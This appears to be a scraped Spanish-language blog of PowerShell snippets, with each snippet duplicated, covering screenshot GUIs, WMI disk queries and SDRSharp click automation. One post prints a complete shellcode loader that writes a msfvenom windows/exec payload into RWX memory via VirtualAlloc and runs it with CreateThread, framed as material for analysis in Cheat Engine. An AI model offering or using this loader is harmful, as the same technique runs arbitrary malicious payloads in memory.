Downdetector with PowerShell

using assembly System.Windows.Forms
using namespace System.Windows.Forms
 
function screenshot($path)
{
    Start-Process chrome "http://downdetector.com/status/level3/map/"
    Start-Sleep -Seconds 5
	$b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
	$g=[System.Drawing.Graphics]::FromImage($b)
	$g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)
	$g.Dispose()
	$b.Save($path,'Bmp')
}

$form = [Form] @{
Text = 'Mi formulario'
BackgroundImageLayout = "None"
}
#Creación de los botones
$button = [Button] @{
 Text = 'Level3'
 Dock = 'Top'
}

#Acciones de los botones
$button.add_Click{

screenshot(".\test.bmp")

#Creación del formulario
$Image=[system.drawing.image]::FromFile(".\test.bmp")

$form2 = [Form] @{
Text = 'Mi formulario'
BackgroundImage = $Image
Width = $Image.Width
Height = $Image.Height
BackgroundImageLayout = "None"
}
$form2.ShowDialog()
}

#Añadir botones al formulario
$form.Controls.Add($button)
$form.ShowDialog()

using assembly System.Windows.Forms

using namespace System.Windows.Forms

function screenshot($path)

{

Start-Process chrome "http://downdetector.com/status/level3/map/"

Start-Sleep -Seconds 5

$b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)

$g=[System.Drawing.Graphics]::FromImage($b)

$g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)

$g.Dispose()

$b.Save($path,'Bmp')

}

$form = [Form] @{

Text = 'Mi formulario'

BackgroundImageLayout = "None"

}

#Creación de los botones

$button = [Button] @{

Text = 'Level3'

Dock = 'Top'

}

#Acciones de los botones

$button.add_Click{

screenshot(".\test.bmp")

#Creación del formulario

$Image=[system.drawing.image]::FromFile(".\test.bmp")

$form2 = [Form] @{

Text = 'Mi formulario'

BackgroundImage = $Image

Width = $Image.Width

Height = $Image.Height

BackgroundImageLayout = "None"

}

$form2.ShowDialog()

}

#Añadir botones al formulario

$form.Controls.Add($button)

$form.ShowDialog()

WQL-Datenabfrage: Füllstand der Laufwerke

Get-WmiObject -query "select deviceid,size,freespace from Win32_logicaldisk"

1	Get-WmiObject -query "select deviceid,size,freespace from Win32_logicaldisk"

Füllstand der Laufwerke

Get-Wmiobject Win32_logicaldisk | Select-Object deviceid,size,freespace

1	Get-Wmiobject Win32_logicaldisk \| Select-Object deviceid,size,freespace

Automatizar SDRSharp con PowerShell (parte 5)

Abrir, ocultar el menú, poner en funcionamiento SDRSharp y recorrer el rango de frecuencias desde 400~470 MHz haciendo una captura de pantalla por cada frecuencia

#Abrir SDRSharp
Start-Process E:\sdrsharp-x86\SDRSharp.exe

Start-Sleep -Seconds 5

#Funciones necesarias para hacer clic
$MouseEventSig=@'
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);
'@
$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name "MouseEventWinApi" -passThru

#Función para capturar la pantalla
function screenshot($path)
{
	$b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
	$g=[System.Drawing.Graphics]::FromImage($b)
	$g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)
	$g.Dispose()
	$b.Save($path,'Bmp')
}

#Hacer clic en el botón del menú para ocultarlo
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(23,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Hacer clic en Start para poner en funcionamiento SDRSharp
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(60,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Mover el cursor hasta la posición de los MHz y hacer clic
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(382,54)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Escribir en la posición de los MHz el valor 400
[System.Windows.Forms.SendKeys]::SendWait("400")

Start-Sleep -Seconds 5

#Hacer 70 clics en la posición de la unidad en los MHz
1..70 | % {
[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(422,46)
$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)
$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)
Start-Sleep -Seconds 5

#Ruta de la captura de pantalla
screenshot "e:\frecuencias\$_.bmp"
}

#Abrir SDRSharp

Start-Process E:\sdrsharp-x86\SDRSharp.exe

Start-Sleep -Seconds 5

#Funciones necesarias para hacer clic

$MouseEventSig=@'

[DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]

public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo);

$MouseEvent = Add-Type -memberDefinition $MouseEventSig -name "MouseEventWinApi" -passThru

#Función para capturar la pantalla

function screenshot($path)

{

$b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)

$g=[System.Drawing.Graphics]::FromImage($b)

$g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)

$g.Dispose()

$b.Save($path,'Bmp')

}

#Hacer clic en el botón del menú para ocultarlo

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(23,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Hacer clic en Start para poner en funcionamiento SDRSharp

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(60,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Mover el cursor hasta la posición de los MHz y hacer clic

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(382,54)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Escribir en la posición de los MHz el valor 400

[System.Windows.Forms.SendKeys]::SendWait("400")

Start-Sleep -Seconds 5

#Hacer 70 clics en la posición de la unidad en los MHz

1..70 | % {

[System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point(422,46)

$MouseEvent::mouse_event(0x00000002, 0, 0, 0, 0)

$MouseEvent::mouse_event(0x00000004, 0, 0, 0, 0)

Start-Sleep -Seconds 5

#Ruta de la captura de pantalla

screenshot "e:\frecuencias\$_.bmp"

}

Analizar con Cheat Engine un payload de ejecución de comandos arbitrarios para ejecutar PowerShell

Script para cargar en memoria y ejecutar un payload de ejecución de comandos arbitrarios en PowerShell

# Fuente: http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html
# Importar funciones necesarias
$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload
# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d
$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f
$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6
$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80
$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a
$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73
$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc
$size = 0x1000
if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria
# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000
# Permisos RWX
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria
for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload
$winFunc::CreateThread(0,0,$x,0,0,0)

# Fuente: http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html

# Importar funciones necesarias

$code = @"

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]

public static extern IntPtr memset(IntPtr dest, uint src, uint count);

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload

# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31

$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52

$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff

$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd

$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b

$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1

$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3

$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac

$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3

$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58

$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c

$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24

$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f

$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d

$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f

$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6

$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80

$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a

$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73

$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc

$size = 0x1000

if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria

# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000

# Permisos RWX

$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria

for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload

$winFunc::CreateThread(0,0,$x,0,0,0)

Direcciones utilizadas para cargar la shellcode con el payload Analizar con Cheat Engine el payload de ejecución de comandos arbitrarios cargado en PowerShell Relación entre la shellcode y la carga en memoria desde Cheat Engine

Cargar en memoria y ejecutar un payload de ejecución de comandos arbitrarios en PowerShell

# Fuente: http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html
# Importar funciones necesarias
$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload
# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d
$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f
$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6
$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80
$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a
$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73
$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc
$size = 0x1000
if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria
# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000
# Permisos RWX
$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria
for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload
$winFunc::CreateThread(0,0,$x,0,0,0)

# Fuente: http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html

# Importar funciones necesarias

$code = @"

[DllImport("kernel32.dll")]

public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]

public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]

public static extern IntPtr memset(IntPtr dest, uint src, uint count);

# Añadir el código CSharp con las funciones necesarias para que puedan ser reconocidas en PowerShell

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# Declarar la variable que tiene la shellcode con el payload

# msfvenom -p windows/exec CMD="powershell" EXITFUNC=thread -f powershell

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31

$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52

$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff

$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd

$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b

$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1

$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3

$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac

$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3

$buf += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58

$buf += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c

$buf += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24

$buf += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f

$buf += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d

$buf += 0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f

$buf += 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6

$buf += 0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80

$buf += 0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a

$buf += 0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73

$buf += 0x68,0x65,0x6c,0x6c,0x0

# Calcular el tamaño necesario para la asignación VirtualAlloc

$size = 0x1000

if ($buf.Length -gt 0x1000) {$size = $buf.Length}

# Asignar una página de memoria

# Solo funciona si el tamaño del tercer parámetro es al menos 0x1000

# Permisos RWX

$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)

# Añadir la shellcode con el payload a la memoria

for ($i=0;$i -le ($buf.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $buf[$i], 1)}

# Ejecutar el payload

$winFunc::CreateThread(0,0,$x,0,0,0)

HxD – Freeware Hex Editor and Disk Editor

HxD is a carefully designed and fast hex editor which, additionally to raw disk editing and modifying of main memory (RAM), handles files of any size. The easy to use interface offers features such as searching and replacing, exporting, checksums/digests, insertion of byte patterns, a file shredder, concatenation or splitting of files, statistics and much…
Read more →

Realizar una captura de pantalla mediante una interfaz gráfica creada con PowerShell

#Realizado por Jesús Moreno

[Reflection.Assembly]::LoadWithPartialName("System.Drawing")
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

function screenshot($path)
{
	$b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
	$g=[System.Drawing.Graphics]::FromImage($b)
	$g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)
	$g.Dispose()
	$b.Save($path,'Bmp')
}

$form = New-Object System.Windows.Forms.Form 
$form.Text = "Guardar fondo"
$form.Size = New-Object System.Drawing.Size(300,200) 
$form.StartPosition = "CenterScreen"

$OKButton = New-Object System.Windows.Forms.Button
$OKButton.Location = New-Object System.Drawing.Point(75,120)
$OKButton.Size = New-Object System.Drawing.Size(75,23)
$OKButton.Text = "Guardar"
$OKButton.DialogResult = [System.Windows.Forms.DialogResult]::OK
$form.AcceptButton = $OKButton
$form.Controls.Add($OKButton)

$CancelButton = New-Object System.Windows.Forms.Button
$CancelButton.Location = New-Object System.Drawing.Point(150,120)
$CancelButton.Size = New-Object System.Drawing.Size(75,23)
$CancelButton.Text = "Cancelar"
$CancelButton.DialogResult = [System.Windows.Forms.DialogResult]::Cancel
$form.CancelButton = $CancelButton
$form.Controls.Add($CancelButton)

$label = New-Object System.Windows.Forms.Label
$label.Location = New-Object System.Drawing.Point(10,20) 
$label.Size = New-Object System.Drawing.Size(280,20) 
$label.Text = "Nombre para guardar la foto:"
$form.Controls.Add($label) 

$textBox = New-Object System.Windows.Forms.TextBox 
$textBox.Location = New-Object System.Drawing.Point(10,40) 
$textBox.Size = New-Object System.Drawing.Size(260,20) 
$form.Controls.Add($textBox) 

$form.Topmost = $True

$form.Add_Shown({$textBox.Select()})
$result = $form.ShowDialog()

if ($result -eq [System.Windows.Forms.DialogResult]::OK)
{
Start-Sleep -Seconds 1
$x = $textBox.Text
$path= "$HOME\Desktop\$x.bmp"
screenshot($path)
}

#Realizado por Jesús Moreno

[Reflection.Assembly]::LoadWithPartialName("System.Drawing")

Add-Type -AssemblyName System.Windows.Forms

Add-Type -AssemblyName System.Drawing

function screenshot($path)

{

$b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)

$g=[System.Drawing.Graphics]::FromImage($b)

$g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)

$g.Dispose()

$b.Save($path,'Bmp')

}

$form = New-Object System.Windows.Forms.Form

$form.Text = "Guardar fondo"

$form.Size = New-Object System.Drawing.Size(300,200)

$form.StartPosition = "CenterScreen"

$OKButton = New-Object System.Windows.Forms.Button

$OKButton.Location = New-Object System.Drawing.Point(75,120)

$OKButton.Size = New-Object System.Drawing.Size(75,23)

$OKButton.Text = "Guardar"

$OKButton.DialogResult = [System.Windows.Forms.DialogResult]::OK

$form.AcceptButton = $OKButton

$form.Controls.Add($OKButton)

$CancelButton = New-Object System.Windows.Forms.Button

$CancelButton.Location = New-Object System.Drawing.Point(150,120)

$CancelButton.Size = New-Object System.Drawing.Size(75,23)

$CancelButton.Text = "Cancelar"

$CancelButton.DialogResult = [System.Windows.Forms.DialogResult]::Cancel

$form.CancelButton = $CancelButton

$form.Controls.Add($CancelButton)

$label = New-Object System.Windows.Forms.Label

$label.Location = New-Object System.Drawing.Point(10,20)

$label.Size = New-Object System.Drawing.Size(280,20)

$label.Text = "Nombre para guardar la foto:"

$form.Controls.Add($label)

$textBox = New-Object System.Windows.Forms.TextBox

$textBox.Location = New-Object System.Drawing.Point(10,40)

$textBox.Size = New-Object System.Drawing.Size(260,20)

$form.Controls.Add($textBox)

$form.Topmost = $True

$form.Add_Shown({$textBox.Select()})

$result = $form.ShowDialog()

if ($result -eq [System.Windows.Forms.DialogResult]::OK)

{

Start-Sleep -Seconds 1

$x = $textBox.Text

$path= "$HOME\Desktop\$x.bmp"

screenshot($path)

}